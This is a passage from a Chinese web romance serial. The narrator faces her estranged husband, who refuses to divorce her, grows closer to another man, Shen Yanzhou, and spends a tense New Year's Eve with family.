顾时序却笑了,笑声里满是不屑:“报警?叶昭昭,你忘了?我们还没离婚,你家就是我家,夫妻之间住在一起天经地义。你就算告到警察那里,他们也管不着!”
我被气到失语,眼泪噼里啪啦掉,就这么跟他僵持着。
他突然走过来把我拽进怀里,下巴抵在我发顶,声音带着压抑的沙哑:“昭昭,别哭了,我知道我错了。要不,你再打我,打到你解气为止。”
我用力推他,可他的力气比我大太多,我根本挣不开,只能咬着牙道:“顾时序,你放开!你这样只会让我更恶心!”
就在这时,朵朵弱弱地喊了声:“爸爸!”
顾时序这才放开我。
而朵朵看到我通红的眼睛,有些幽怨地看着顾时序,道:“你是不是欺负她了?她还生着病呢。”
顾时序走过去,摸了摸女儿的脑袋,道:“爸爸没有欺负妈妈。不过,你现在知道心疼妈妈了,爸爸很欣慰。”
朵朵这才松了口气,问:“那她为什么哭了?”
顾时序也不知道该怎么回答,便道:“爸爸先带你去洗漱。饿不饿?刚才爸爸熬粥终于熬成功了,马上给你盛一碗,好不好?”
“好呀!”
朵朵很给面子地赞美:“我爸爸最棒了!”
说完,她对顾时序道:“爸爸,我现在会自己洗漱,自己穿衣服了!你不用帮我,我自己去!”
顾时序惊讶地看着女儿,随即看向我,道:“让你照顾朵朵,看来是对的。”
我没有理会他,坐在沙发上脑海中都是刚才沈宴州站在门口的样子。
尽管我和沈宴州之间不存在谁对得起或者对不起谁,可我心里就是难受极了,控制不住的去想。
朵朵这时已经跑到洗手间去洗漱了,而顾时序走回到我身边,蹙眉道:“沈宴州就这么重要?你才跟他认识几天?”
我讽刺地笑了下,道:“我跟你倒是认识了二十年,可那又怎样?顾时序,我认识过你吗?”
“我知道,你想激怒我,让我离开。”
顾时序语气沉了几分,一字一句地说:“可是昭昭,从今天起,你在哪儿,我就在哪儿?我不会走的!哪怕是沈宴州,他也管不了夫妻间的事。”
就在这时,朵朵拿着一个小盒子走了过来,道:“这个水晶好漂亮啊!可以给我戴一下吗?”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!我微微一怔,随即,立刻将那个盒子拿了过来。
“朵朵,谁让你翻我抽屉的?”
我语气有些严厉。
朵朵愣住,委屈地说:“我找不到皮筋了,就想找找抽屉里有没有……我只是觉得这个水晶很好看,蓝蓝的,你干嘛生气啊?我不要了还不行吗?”
我刚想把这个盒子收回去,可顾时序却让朵朵进屋了。
然后,他眸光微冷地盯着我,质问道:“沈宴州送的?”
“是,那又怎样?”
我坦荡地回答了他的问题。
顾时序咬牙道:“你知不知道,那天的拍卖会我也在!我知道你喜欢蓝色,是我想送给你的。可沈宴州点了天灯,让乔丽一直加价。”
说到这儿,他冷笑了声,道:“我还当他要送给他哪个情人!没想到,是送给你。叶昭昭,这么贵的东西,你都敢收。你还敢说,你们没有关系?”
我心中有点震撼,没想到,这个蓝碧玺是沈宴州在这个情况下拍下来的。
真的只是为了送给我吗?
“叶昭昭,我在问你话!”
顾时序双手捏着我的肩膀,语气凌厉:“你告诉我,你们发展到哪一步了?他凭什么送你这么贵的东西?”
我看着他,平静地说:“再加把劲儿,就赶上你和苏雅欣了。要是你不想被戴绿帽子,就赶快离婚。”
顾时序怒极反笑,道:“离婚?你妄想!有本事,你让他给你打官司,让他来找我!”
说完,他终于在我家呆不下去了,直接进屋给朵朵快速收拾了东西,带着朵朵离开。
临走时,小姑娘回头看着我,仿佛有什么话要说。
可顾时序脸色阴沉,就这么拖着她走得很快,她什么都没来得及说。
他们走后,我收拾了一下情绪,将身后那个盒子拿了出来。
望着里面静静躺着的手链,我鬼使神差地将它拿了出来戴在手腕上,然后出了门。
我不知道为什么,就想立刻见到沈宴州,跟他解释清楚顾时序出现在我家的事。
尽管我不知道,这究竟有没有意义?
……
幸好外面已经不下雪了,路上的积雪也少了许多,我开车到沈宴州家里时,已经是一小时之后了。
其实我不知道沈宴州究竟在不在?
我也只是抱着碰碰运气的想法。
很幸运,他在家。
只不过,他家佣人出来对我说:“抱歉,小姐,沈先生今天有公务要忙,不见客。”
我勉强挤出一抹微笑,道:“没关系,我在这里等他。他什么时候忙完了,什么时候再见我。”
佣人叹息着摇了下头,似乎觉得我这个人很没有眼力劲儿。
毕竟,沈宴州这意思,就差直接下逐客令了。
我也不知道自己是哪根筋抽了,就这么固执地站在他家别墅门口,也没回到车里。
虽然已经不下雪了,但化冻的天格外冷。
刚退烧的我忍不住裹紧身上的大衣,鼻尖冻得发红,连打了好几个喷嚏。
不知过了多久,我总觉得有一束目光在我身上。
抬眼时,恰好望见二楼书房落地窗前,一道颀长的人影静静立着,那是沈宴州。
我与他四目相对,看不清他的表情,只觉得心脏像被什么轻轻撞了一下,莫名悸动。
过了几分钟,霍珊从屋里跑出来,仰着小脸问:“叶阿姨,你怎么来了?外面那么冷,你怎么不进来呀?”
我跟着霍珊往里走时,忍不住问:“是你沈叔叔让你出来开门的?”
她点点头:“我正写寒假作业呢,沈叔叔突然告诉我你来了,让我去给你开门。”
我轻轻“哦”了一声。
原来他是故意晾了我快半小时。
这男人,气性还真不小。
进了客厅,温暖的空气瞬间裹住全身,刚才冻出来的鼻涕差点流下来,我慌忙掏纸擦鼻子,模样有些狼狈。
这时,沈宴州从二楼下来,手插在西装裤袋里,矜贵又慵懒地瞥了我一眼:“来我这儿做什么?不是该陪你丈夫和女儿吗?”
我声音放软,竟脱口而出:“我想吃你做的饭了。”
我说完,恨不得把自己舌头咬掉,我不是该先解释一下顾时序出现在我家里的事情吗?
可我现在究竟在胡说八道些什么?
果然,沈宴州语气没有丝毫缓和,冷声道:“你以为你是谁?况且,我也不会做白粥。”
我立刻接话道:“刚好,我也不喜欢喝白粥。他做的粥,我一口都没喝,真的。”
沈宴州斜睨我一眼,没什么反应。
我捏紧手指,解释道:“我昨晚发烧,吃了药就睡死了。顾时序是来接朵朵的,我真不知道他会留在我家一夜……”
沈宴州的脸色终于缓和了些,语气却依旧带着点斥责的意味:“发烧了还在外面傻站着?你给我打个电话,很委屈你吗?”
我立刻抬眼望他,委屈极了:“佣人说你不见客,我不敢打扰你……”
沈宴州没再说话,径直往厨房走。
我连忙跟上,哪里敢真让他这位大爷给我做饭?
我道:“其实我跟你开玩笑的,你要是忙就去忙,我来做。”
说着,我故意挽起袖子,露出手腕上那条蓝碧玺手链。
他的目光落在手链上,深邃的眼眸暗了暗,喉结轻轻滚动了一下。
我分明看见了他嘴角那抹极淡的弧度。
我小心翼翼地问:“那你……不生气了吧?”
沈宴州望着我,眼神带着点咄咄逼人的意味:“我有什么立场生气?我应该生气吗?”
他说着,整个人都向我靠近了几分,几乎把我抵在了冰箱和他胸膛之间。
温热的呼吸扫过我脸颊,带着淡淡的须后水味道,我心跳骤然失控,指尖下意识蜷起。
眼看他越靠越近,我紧张地闭紧双眼,连呼吸都放轻了几分。
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第121章 他说,不喜欢搞人妻
下一秒,耳边却传来男人低醇又带着笑意的一声轻哼。
我猛地睁开眼,撞进他深邃带笑的眼眸里。
还没等我反应过来,沈宴州已经伸手将我往旁边轻轻一拉,接着打开了冰箱门,语气带着点戏谑:“你以为我要干什么?”
我瞬间面红耳赤,指尖都在发烫,连脖子根都染上了热意。
还没等我找补,就听他又补了一句,语气清淡却字字扎心:“放心,我不喜欢搞人妻。”
这话像把我扔进了滚烫的热水里。
我窘迫地别过脸,连看都不敢看他一眼。
这时,他抬手,修长微凉的指尖划过我脸颊。
我不禁颤抖了一下,耳里传来他低沉的声音:“怎么脸这么烫?又发烧了?”
我实在受不了他这种温水煮青蛙似的举动,像是故意的,又没有那么刻意。
所以我赶紧找了个借口道:“嗯……我是有点头晕,大概刚才冻着了,我先去歇一会儿。”
说着,我就要转身,可手却被他握住。
男人轻轻一用力,我就重新撞进他怀里。
我局促又尴尬的看着他,道:“你……你干什么?”
沈宴州垂眸看着紧张的我,道:“你真把我当你家厨师了?你去歇着,我干活?”
我吞了口口水,试探着问:“那……我干?你去歇着?”
“一起。”
他边说,边把菜递给我让我洗。
我心不在焉的洗菜。
没过多久,佣人走进来道:“沈先生,您母亲来了!”
我手里的菜盆“哐当”一声磕在水槽边缘,心脏瞬间揪紧。
要是外婆看见我出现在沈宴州家里,还跟他一起在厨房,不知道会怎么想?
毕竟,这样的场景的确会让人浮想联翩。
沈宴州的动作顿了顿,倒是一脸从容,迈开长腿往外走。
我脑子里乱糟糟的,缓缓跟了出去。
外公外婆已经被佣人领进了客厅。
当他们看到站在厨房门口的我时,两人脸上的表情瞬间凝固,眼神里的震惊几乎藏不住。
尤其是外婆看到沈宴州挽起的袖口、沾着水珠的手时,她瞳孔微缩,声音都有些发颤:“你和昭昭,你们……”
“外婆!”
我快步走过去,解释道:“我也刚到这儿没多久,是来接珊珊的。她是舅舅朋友家的孩子,准备去我那儿借宿几天。”
我语速飞快,生怕晚一秒就被误会,连声音都带着点不易察觉的发紧。
外婆紧绷的肩膀明显松了松,脸上的震惊褪去些,可眉宇间的担忧却没消散,只是点了点头。
外公见状,赶紧岔开了话题,道:“宴州啊,我们老两口过来没别的事,就是给你送点年货。刚才先去了沈家,想拜访下老夫人,没想到老夫人已经回帝都准备过年了。这不就绕到你这儿来,把东西给你送来。”
沈宴州语气疏冷却保持着基本的礼貌:“辛苦您和我妈跑一趟。现在快中午了,您和我妈留下来一起吃午饭吧。”
“不了不了。”
外公连忙摆手,眼神有些闪躲,“家里已经做好饭了,我们就不打扰了,把东西放下就走。”
外婆自始至终没再说话,只是那双眼睛,时不时在我和沈宴州之间来回转,像是在确认什么。
最后才跟着外公一起离开。
门关上的瞬间,我紧绷的身体瞬间垮了下来。
明明我和沈宴州之间什么都没有,可刚才面对外婆和外公的目光时,那种做贼心虚的感觉却格外强烈,仿佛真的被人戳穿了什么见不得人的秘密。
这时,沈宴州淡淡的声音传入我耳里:菜还洗不洗了?”
我回过神,看着他平静的侧脸,小声嘟囔了一句:“外婆好像误会了。”
“误会什么?”他看着我反问,“你不是来接人的?我不是在做饭?还是……你真有什么别的想法?”
他微扬的尾音似乎带着一抹戏谑,我红着脸道:“我能有什么想法?我只是不想别人误会。”
沈宴州冷哼了声,往厨房走去:“怕被误会,下次别来了就是!”
我无声地闭上嘴巴。
反正,在沈宴州不高兴的时候,我说什么都是错!
直到中午吃饭,我都沉默着没有说话。
而沈宴州只是偶尔给珊珊夹菜让她多吃点。
霍珊没有意识到我跟沈宴州之间微妙的不对劲儿,突然说道:“沈叔叔,我发现一个规律。”
“什么规律?”
沈宴州饶有兴趣地看着她。
霍珊笑眯眯地说:“只有叶阿姨在的时候,我才能吃到沈叔叔亲手做的饭。”
我拿筷子的手一顿,心里乱七八糟的。
想捅破那层窗户纸说个清楚,可又不敢轻易捅破,怕没有回头路可走。
沈宴州不冷不热的说:“她是沾了你的光,我做不做饭,跟她没关系。”
霍珊这下也感觉到沈宴州的不悦了。
小姑娘察言观色的能力很强,立刻乖乖吃饭,不再说话。
快吃完饭,沈宴州接了个电话,他一向沉稳的语气终于有了一丝波动:“好,周医生,我下午就过去。”
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沈宴州淡淡解释道:“是我妈的病,有了新的治疗方案和特效药,我下午要去见那名医生。”
我点点头道:“外婆吉人自有天相,她一定可以度过难关的。”
沈宴州似乎不需要我的安慰,反而深深的看着我。
良久,语气缓和了些,道:“过几天我就要回帝都了,临近年关,家里事情多,我怕奶奶一个人应付不来。至于珊珊,就交给你了。”
我郑重地答应着:“你放心,我会照顾好珊珊的。”
中午吃完饭,沈宴州好像急着去找那名医生,我便准备带珊珊回家。
可他看着路上结的冰,对我道:“我开车送你们。”
“没关系的,你去忙你的,我可以。”
我拿出车钥匙,道:“我自己也开了车。”
沈宴州却没有跟我商量,而是直接打开自己车的车门,让我把车钥匙给他的司机。
我没好再推辞,道了谢,便上了他的车。
一小时后,他将我送到小区楼下。
我带着珊珊下车,他忽然叫住了我。
他顿了顿,像是犹豫了片刻,开口道:“要是这边有什么事自己解决不了,别硬撑,给我打电话。”
这句话仿佛藏着千言万语,瞬间驱散了我之前所有的窘迫和不安,满满的踏实和感动。
我眼眶微微发热,点头道:“我知道了。提前祝你新年快乐!”
他冲我笑了笑,转身进了车里。
……
从这天之后,沈宴州就回了帝都,也没有再出现在过公司里。
因为临近过年,公司整体的工作节奏都慢了下来。
年三十这天,叶家父母一早就给我打电话,让我中午去吃饭。
可想到我哥在家,我以要照顾朋友家的孩子,拒绝了。
想到我哥跟苏雅欣那种关系,再加上现在他的转变,我不是很想跟他见面。
因此,一大清早,我就带着珊珊开始准备年夜饭。
家里虽然已经被我们提前挂上了各种年味儿装饰,门口也贴了春联,可就我跟霍珊两人,多多少少有点冷清。
我一边准备饺馅儿,一边问霍珊:“这是不是你过得最孤独的一个年?”
“不孤独啊!”
霍珊揪了个面团在一旁捏着,对我道:“以前在霍家的时候,妈妈不喜欢我,过年时总喜欢把我一个人扔在家里。爸爸虽然说过妈妈,但妈妈不听爸爸的。那时候才叫孤单呢!”
我心里酸酸涩涩的,想到了养育我长大的叶家父母。
因为有他们,我长这么大都没有像霍珊这般有寄人篱下、难以自处的落寞。
尽管一早我就给他们打电话拜了年,可这大过年的,我却连看都没有在他们身边陪伴他们。
我难免有些内疚。
就在这时,门铃响了。
霍珊去开门,没想到,正是叶夫人和叶爸爸站在门口。
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第122章 舅舅深夜在我家门口
“爸妈?”
我惊喜地看着他们,问:“你们怎么来了?快进来!”
霍珊懂事地去给他们拿拖鞋。
叶爸爸叹了口气,道:“你不回去,我们只好自己过来了。春节一年只有一次,我们总要团团圆圆的才好。”
说着,他将一个很大的饭盒放在桌上,道:“你妈连夜包的饺子,是你爱吃的三鲜馅儿。”
我更加愧疚了,哽咽道:“对不起,我……应该去看你们的。”
“我们知道,你不想见你哥。”
叶夫人轻轻握着我的手,拍了拍,道:“别说你了,我跟你爸现在也不待见他。”
叶爸爸打断道:“行了,大过年的,别提他。这个混账东西,我就当没生过这个儿子。”
我疑惑地问:“发生什么事了吗?”
叶夫人愁眉苦脸地说:“我跟你爸为了让他赶紧把终身大事定下来,给他介绍了好几家姑娘了,他都把人家气走了。今天吃早饭的时候,我就提了一嘴他的婚事,他放下筷子就走了。这大过年的,就把我们扔在家里。你说,他怎么变成现在这样了?”
我想说任何人接触到苏雅欣这种人,都得被传染坏掉。
可不想在这个日子提这些糟心事,便道:“爸妈,那你们今天就在我这儿过吧。刚好,我前两天买了很多东西,一冰箱的菜。”
叶夫人感慨道:“幸好,我们还有你。”
就这样,叶爸爸和叶夫人站起身来跟我一起忙着开始准备年夜饭。
叶夫人疑惑地问我霍珊的来历?
“这是你哪个朋友家的孩子?”
我解释道:“沈宴州朋友的,但他没时间照顾,就把孩子放我这儿了。不过所幸这孩子很乖,不费什么精力。”
叶夫人惊讶地问:“你跟他这么熟了?他……连这种事都拜托你?”
霍珊在一旁道:“沈叔叔还给叶阿姨做饭吃呢。”
叶夫人眼睛瞪得老圆,不可置信地看着我,“不会吧?我那天见他傲得很呢,他这样的男人能下厨做饭?”
“是真的,沈叔叔很好的。”
霍珊不停为沈宴州打Call。
我现在格外忌惮别人在我面前提沈宴州,本来没什么的事,都被说得好像真有什么了。
我云淡风轻地说:“那是沈宴州为了给珊珊做饭,我就是沾了珊珊的光而已。”
叶夫人半信半疑地看着我。
可叶爸爸却一脸担忧地说:“昭昭,你可要想清楚了。你当初嫁给顾时序就是门不当户不对,才受了这么多委屈。这沈宴州的身份,比顾时序还要厉害,你不能犯糊涂啊。哪怕以后一个人单着,咱们也不能再找顾时序那种人了!”
叶夫人瞥了丈夫一眼,道:“你怎么总说这些丧气话?又不是所有男人都跟顾时序一样浑蛋!就那个混账小子,他也就配跟苏雅欣这种烂女人在一起了!小时候咱们白对他这么好了!我包的饺子全喂到他那个狗嘴里去了!”
毕竟以前顾时序也很喜欢吃叶夫人包的三鲜馅儿饺子。
说到这儿,叶爸爸凝重地看着我,问:“你跟他办过离婚手续了吧?”
我还没说顾时序有多无耻的威胁我,叶夫人便道:“肯定办过了!”
叶爸爸道:“那你怎么都没跟我们说一声呢?”
叶夫人道:“昭昭肯定是怕我们担心才没说。不然,苏雅欣那个小狐狸精能那么招摇跑到网上到处说她怀孕吗?”
我没说话,默默切着菜。
叶夫人和叶爸爸意识到他们提起了我的伤心事,也不再继续这个话题,而是岔开话题夸霍珊懂事。
因为我们三个人都在不停歇的准备饭菜。
中午时分,已经摆满了满满一大桌子饭菜,中间还有叶夫人带来的饺子。
叶爸爸举杯道:“来,碰一个,希望新的一年,咱们都能顺顺利利的吧!”
叶夫人微微叹了口气,道:“哎,今年还真是冷清,顾时序不在了,景辰也不在了。”
我没接话,叶爸爸不满地说:“你这话说得,跟他们死了似的。”
“呸呸呸!”
叶夫人赶紧敲了几下桌子,道:“大过年的你说这种话,要死啊!”
我看着父母斗嘴的样子,突然好像又回到了结婚前我在叶家的时候,父母三天两头都会上演这样的场景。
我和我哥就这么笑着看他们,那时候,真是无忧无虑。
我当时就想着,我要是跟顾时序结婚,也会是这样子。
就这么斗嘴又有爱地过下去,就是一辈子了。
“爸妈,你们要永远这么幸福下去。”
我深深地望着他们,道:“不管我和我哥之间有什么矛盾,我永远都是你们的女儿。”
叶夫人眼圈红红的,道:“你自己把日子过好,就行了!还操心我们呢。”
这个年也不知道怎么回事?
不是她哭,就是我哭,叶爸爸也唉声叹气的。
就这样,一顿中午饭结束。
我给父母收拾了客房,想让他们住下。
毕竟,我哥到现在都没有回家。他们就算回到了叶家,也只是两个人孤零零的。
可叶夫人却没有同意,执意要走。
虽然我哥把她气得不轻,但她却道:“万一这小子晚上想通了回来了,总不能连个热乎的饭都没有。”
叶爸爸愤愤地说:“就该让他没有饭吃,好好想想这些年在家里过得多舒坦!”
话虽然是这么说,但老两口心里还是想跟儿子过个年的,所以回去了。
原以为晚上肯定是我和霍珊两人相依为命跨年了。
可没想到傍晚时分,家里的门又被敲响。
开门后,竟然是外公外婆。
外公道:“时序这个臭小子说,他请你,你肯定请不来。所以,我带着你外婆亲自过来请你去家里吃年夜饭。”
我虽然很感动外公外婆的诚意,看可还是婉拒道:“外公,今天我爸妈也来了,做了一桌子年夜饭,中午都没吃完。”
外公惆怅地看着我,道:“昭昭,我知道是我们家对不起你。你和时序再怎么着,明年这个时候也肯定是分道扬镳了。今年,算是我们全家最后一个团圆年了。”
外婆苦涩地笑了笑,道:“是啊,我这个身体,也不一定能撑过明年了。”
“别胡说。”
外公呵斥道:“宴州不是说有新的特效药了吗?”
说完,他望着我,道:“昭昭,今年你就给外公一个面子,再去家里吃个团圆饭吧。”
“可是……家里还有朋友的孩子。”
我看了眼沙发上的霍珊。
外公连忙道:“那就一起带去,多双筷子的事。”
这大过年的,外公外婆会亲自过来,只为了让我去吃个饭。
我没法拒绝两个老人。
就这样,我带着霍珊一起去了姜家。
我们到达的时候,顾时序已经带着朵朵来一会儿了。
朵朵看见我,有些腼腆地问:“你生病好了吗?”
我笑了笑,道:“早都好了。”
朵朵小手一伸,道:“新年红包!”
我尴尬地说:“抱歉,没想起来准备。”
毕竟我也没想到这个过年还能见到她。
朵朵小眉头一皱,问:“那你给霍珊准备了没?”
其实我一早就把新年红包给霍珊了的。
但霍珊却道:“叶阿姨没给我红包呀!应该是准备晚上再给我们吧!”
她说完,朵朵眉头重新舒展开,拉着霍珊道:“我带你去玩儿!”
我不禁在心里感慨霍珊的懂事。
朵朵带着霍珊去玩她的那些娃娃了。
没过多久,顾时序走到我身边,递给我一个红包,道:“这个等吃完饭你给朵朵吧,她会高兴的。”
因为我刚好没准备红包,便接过来了,但没跟他说一句话。
他语气里带着几分难以掩饰的苦涩,道:“还是外公外婆比我有面子,换作是我去请,你肯定不会来。”
他话音刚落,外公就沉着脸瞪了他一眼,语气里满是恨铁不成钢:“还不都是你自己作出来的?要不是你在外面乱搞,好好跟昭昭过日子,她能对你这样?”
外婆连忙上前打圆场,拉了拉外公的胳膊:“好了好了,今天是过年,一家人难得聚在一起,别说这些扫兴的话了。”
外公重重哼了一声,道:“先让朵朵她们别玩儿了,先吃饭!一桌子菜都要凉了。”
可外婆却站在原地没动,脸上带着几分犹豫,片刻后才轻声开口:“再等等。我……我还是把淑慧叫来了,毕竟是一家人,过年总得团圆。”
“你把她叫来干什么?”
外公的火气瞬间又上来了,声音也拔高了些,“她这个糊涂东西,帮着外面那个狐狸精坑自己儿子和媳妇,好好一个家被她祸害成这样,她有什么资格来吃这顿年夜饭!”
“淑慧是我亲手带大的,她犯糊涂,我这个当妈的也有责任。”
外婆叹了口气,语气里满是无奈,“平时说她两句也就算了,今天是过年,你就少说两句,给她个台阶下。”
两人正说着,门口就传来了脚步声,姜淑慧推门走了进来。
可让所有人都没想到的是,她身后还跟着苏雅欣。
苏雅欣故意穿着孕妇装,一手轻轻护着平坦的小腹,道:“外公外婆,新年快乐!我来给您二老拜年了。”
顾时序眸光一凛,蹙眉问母亲:“您怎么把雅欣带来了?”
姜淑慧理所应当地说:“雅欣是你儿子的妈,她不来谁来?”
外公看到苏雅欣,气得手抖,指着姜淑慧的鼻子就骂:“我看你根本不是来吃饭的,你是故意来给我添堵的!”
“爸,您这话就不对了。”
姜淑慧挡在苏雅欣身前,护着她就跟护着宝贝似的,“雅欣肚子里怀的可是我们顾家的长子嫡孙,她最有资格坐在这儿!倒是有些人……”
她话锋一转,眼神轻蔑地扫向我,“都要跟时序离婚了,居然还舔着脸来蹭年夜饭,真不要脸!”
“你胡说什么!”
外公气得脸色通红,道:“昭昭是我亲自去她家请过来的,她愿意来是给我面子!哪像这个上不得台面的东西,明知道自己不受待见,还硬要凑过来,是缺我姜家这口饭吃吗!”
我看到苏雅欣,就知道这顿年夜饭是吃不好了。
所以我道:“外公外婆,我先带着珊珊走了。的确,我来得不是时候。”
“昭昭。”
外公连忙叫住我,道:“该走的人不是你,你就安安稳稳留在这儿!”
说完,老爷子竟然直接去厨房拿了把苕帚,道:“我今天非要把这些垃圾给扫出去!”
所有人都没想到外公这样抗拒苏雅欣的存在。
姜淑慧生怕伤到苏雅欣和未来孙子,连忙护着苏雅欣,对外婆大叫:“妈!您管管爸呀!干什么呢这是!”
就在这时,朵朵带着珊珊从楼上下来,看见苏雅欣,她很激动地跑过去:“妈妈!我好想你。”
看这样子,应该是很久没见到苏雅欣了。
而外公也因为朵朵的到来,缓缓放下了手中的苕帚,怕吓着她。
苏雅欣见状,连忙将朵朵搂进怀里,道:“妈妈也想你。”
说完,她似笑非笑地看着我,宣布主权似的道:“叶小姐,听说前段时间朵朵在你那儿住了几天,给你添麻烦了。”
外婆生怕苏雅欣又挑起纷争,连忙道:“孩子们也都下来了,快先吃饭吧!好不容易过个团圆年,今天咱们都高高兴兴的,行么?”
她一边说,一边将外公手里的苕帚拿了过来。
顾时序见我迟迟不肯入席,低声道:“今天是年三十,别让老人难受,行么?有什么话,我们吃饭再说。”
我看着外公愧疚的眼神,终究没有带珊珊离开。
餐桌上的菜冒着热气,却暖不透半分僵硬的气氛。
外公让我坐在他身边,然后指着末尾的位置对苏雅欣道:“你要不就坐那儿去!要不就滚出去。”
苏雅欣紧紧攥住筷子,但又不能表现出平日里的锋芒,只能委屈巴巴地说:“外公您说什么我都听。”
就这样,她到了最尾端的位置坐下。
而朵朵走到她身边,想挨着她坐。
可还没等朵朵坐下,姜淑慧突然从椅子上起身,伸手就拉住了朵朵的胳膊。
她道:“朵朵乖,去跟你爸爸坐。你这孩子走路总爱蹦蹦跳跳的,万一没轻没重碰着你妈妈怎么办?她肚子里可是你唯一的弟弟,得小心护着。”
这话像盆冷水,朵朵的脸色一下子蔫儿了。
她耷拉下肩膀,原本亮晶晶的眼睛瞬间没了光。
就在这时,霍珊挪了下自己的椅子,又搬了个椅子在自己旁边,道:“朵朵,你坐这里好不?我们一起!”
朵朵虽然坐在了霍珊旁边,但她眼中的落寞却一直都在。